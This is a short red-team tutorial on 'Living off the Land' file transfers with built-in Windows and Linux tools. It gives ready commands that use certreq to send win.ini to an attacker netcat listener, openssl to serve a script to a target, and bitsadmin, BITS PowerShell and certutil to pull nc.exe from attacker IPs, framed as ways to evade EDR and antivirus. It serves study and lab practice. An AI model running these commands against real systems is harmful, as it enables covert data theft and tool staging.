Upload and Download with Built in OS Tools

---

🥾 Living off the Land (LOTL) – File Transfers without Dropping Tools

🧠 The term "Living off the Land" was coined by @obscuresec & @mattifestation and refers to leveraging built-in binaries on Windows and Linux to perform tasks like:

• 📤 Uploads

• 📥 Downloads

• ⚙️ Execution

• 📖 File access

• 🔐 Bypasses

💡 This stealthy technique reduces the need for external tools — which helps evade EDRs, AVs, and logging solutions.

---

🧰 Toolkits to Know

🪟 Windows – LOLBAS

A catalog of Living off the Land Binaries And Scripts for Windows.

🐧 Linux – GTFOBins

A curated list of Unix binaries that can be abused by attackers or red teamers.

Use filters like:

• /download

• /upload

• +file read

• +file write

---

🔁Windows: Upload Using certreq.exe (LOLBAS)

From the target system:

certreq.exe -Post -config http://192.168.49.128:8000/ c:\windows\win.ini

This sends win.ini to our attack server. We catch it with:

sudo nc -lvnp 8000

📝 Copy-paste the contents from the netcat listener!

⚠️ Heads-up: Some versions of certreq.exe do not support the -Post parameter. Use an updated version if needed.

---

📥 Linux: Download Using OpenSSL (GTFOBins)

🛠️ Step 1: On Attacker (Start SSL Server)

openssl req -newkey rsa:2048 -nodes -keyout key.pem -x509 -days 365 -out certificate.pem
openssl s_server -quiet -accept 80 -cert certificate.pem -key key.pem < /tmp/LinEnum.sh

📥 Step 2: On Target (Download File)

openssl s_client -connect 10.10.10.32:80 -quiet > LinEnum.sh

✅ File received securely over SSL without any need for web servers or wget/curl.

---

🧱 Other Powerful LOTL Tools

🛰️ Bitsadmin (Windows)

bitsadmin /transfer wcb /priority foreground http://10.10.15.66:8000/nc.exe C:\Users\Public\nc.exe

Transfers files silently using BITS, which mimics legit system update behavior.

---

🌀 PowerShell BITS Transfer

Import-Module bitstransfer
Start-BitsTransfer -Source "http://10.10.10.32:8000/nc.exe" -Destination "C:\Windows\Temp\nc.exe"

More advanced, supports proxies and credentials 🕵️‍♂️

---

🔐 Certutil.exe

certutil.exe -verifyctl -split -f http://10.10.10.32:8000/nc.exe

Originally used for certs… now a defacto wget for red teamers.

⚠️ AMSI may flag this! Useful in lab environments or bypass testing.

---